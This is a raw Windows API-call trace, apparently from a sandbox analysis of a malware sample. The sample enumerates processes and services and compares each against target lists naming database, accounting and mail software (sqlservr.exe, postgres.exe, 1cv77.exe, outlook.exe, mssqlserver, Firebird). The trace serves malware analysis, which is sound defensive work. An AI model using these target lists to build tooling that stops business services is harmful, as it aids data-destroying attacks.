	[0252.048] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0252.048] lstrlenW (lpString="audiodg.exe") returned 11
	[0252.048] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0252.048] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0252.048] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0252.048] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0252.048] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0252.048] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0252.048] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.048] lstrlenW (lpString="svchost.exe") returned 11
	[0252.049] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0252.049] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0252.049] lstrlenW (lpString="userinit.exe") returned 12
	[0252.049] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0252.049] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0252.049] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0252.049] lstrlenW (lpString="explorer.exe") returned 12
	[0252.050] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0252.050] lstrlenW (lpString="dwm.exe") returned 7
	[0252.050] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.050] lstrlenW (lpString="svchost.exe") returned 11
	[0252.050] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0252.050] lstrlenW (lpString="swpesp.exe") returned 10
	[0252.051] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0252.051] lstrlenW (lpString="spoolsv.exe") returned 11
	[0252.051] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0252.051] lstrlenW (lpString="dllhost.exe") returned 11
	[0252.051] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0252.052] lstrlenW (lpString="taskhost.exe") returned 12
	[0252.052] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0252.052] lstrlenW (lpString="svchost.exe") returned 11
	[0252.052] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0252.052] lstrlenW (lpString="reader_sl.exe") returned 13
	[0252.052] Process32NextW (in: hSnapshot=0x2e0, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0252.052] CloseHandle (hObject=0x2e0) returned 1
	[0252.053] Sleep (dwMilliseconds=0x1f4) 
	[0252.747] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0252.751] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0252.843] GetLastError () returned 0xea
	[0252.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa64) returned 0x41f5f38
	[0252.843] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5f38, cbBufSize=0xa64, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5f38, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0252.844] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0252.844] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0252.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0252.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0252.844] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0252.844] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0252.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0252.844] lstrlenW (lpString="AudioSrv") returned 8
	[0252.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0252.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0252.844] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0252.844] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0252.845] lstrlenW (lpString="BFE") returned 3
	[0252.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0252.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0252.845] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0252.845] lstrlenW (lpString="CscService") returned 10
	[0252.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0252.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0252.845] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0252.845] lstrlenW (lpString="DcomLaunch") returned 10
	[0252.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0252.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0252.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0252.845] lstrlenW (lpString="Dhcp") returned 4
	[0252.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0252.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0252.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0252.845] lstrlenW (lpString="Dnscache") returned 8
	[0252.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0252.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0252.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0252.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0252.846] lstrlenW (lpString="eventlog") returned 8
	[0252.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0252.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0252.846] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0252.846] lstrlenW (lpString="EventSystem") returned 11
	[0252.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0252.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0252.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0252.846] lstrlenW (lpString="gpsvc") returned 5
	[0252.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0252.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0252.846] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0252.846] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0252.846] lstrlenW (lpString="lmhosts") returned 7
	[0252.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0252.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0252.846] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0252.846] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0252.846] lstrlenW (lpString="MMCSS") returned 5
	[0252.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0252.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0252.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0252.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0252.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0252.847] lstrlenW (lpString="MpsSvc") returned 6
	[0252.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0252.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0252.847] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0252.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0252.847] lstrlenW (lpString="nsi") returned 3
	[0252.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0252.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0252.847] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0252.847] lstrlenW (lpString="PlugPlay") returned 8
	[0252.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0252.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0252.847] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0252.847] lstrlenW (lpString="Power") returned 5
	[0252.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0252.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0252.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0252.847] lstrlenW (lpString="ProfSvc") returned 7
	[0252.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0252.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0252.847] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0252.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0252.847] lstrlenW (lpString="RpcEptMapper") returned 12
	[0252.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0252.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0252.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0252.848] lstrlenW (lpString="RpcSs") returned 5
	[0252.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0252.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0252.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0252.848] lstrlenW (lpString="SamSs") returned 5
	[0252.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0252.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0252.848] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0252.848] lstrlenW (lpString="Schedule") returned 8
	[0252.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0252.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0252.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0252.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0252.848] lstrlenW (lpString="SENS") returned 4
	[0252.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0252.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0252.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0252.849] lstrlenW (lpString="ShellHWDetection") returned 16
	[0252.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0252.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0252.849] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0252.849] lstrlenW (lpString="Spooler") returned 7
	[0252.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0252.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0252.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0252.849] lstrlenW (lpString="Themes") returned 6
	[0252.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0252.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0252.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0252.849] lstrlenW (lpString="UxSms") returned 5
	[0252.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0252.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0252.849] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0252.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0252.849] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5f38 | out: hHeap=0x4a0000) returned 1
	[0252.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a4
	[0252.851] Process32FirstW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0252.851] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0252.851] lstrlenW (lpString="System") returned 6
	[0252.851] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0252.851] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0252.851] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0252.851] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0252.851] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0252.851] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0252.852] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0252.852] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0252.852] lstrlenW (lpString="smss.exe") returned 8
	[0252.852] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0252.852] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0252.852] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0252.852] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0252.852] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0252.852] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0252.852] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0252.852] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0252.853] lstrlenW (lpString="csrss.exe") returned 9
	[0252.853] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0252.853] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0252.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0252.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0252.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0252.853] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0252.853] lstrlenW (lpString="wininit.exe") returned 11
	[0252.853] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0252.853] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0252.853] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0252.854] lstrlenW (lpString="csrss.exe") returned 9
	[0252.854] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0252.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0252.854] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0252.854] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0252.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0252.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0252.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0252.854] Process32NextW (in: hSnapshot=0x2a4, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0252.854] lstrlenW (lpString="winlogon.exe") returned 12
	[0252.854] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0252.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0252.854] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0252.855] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
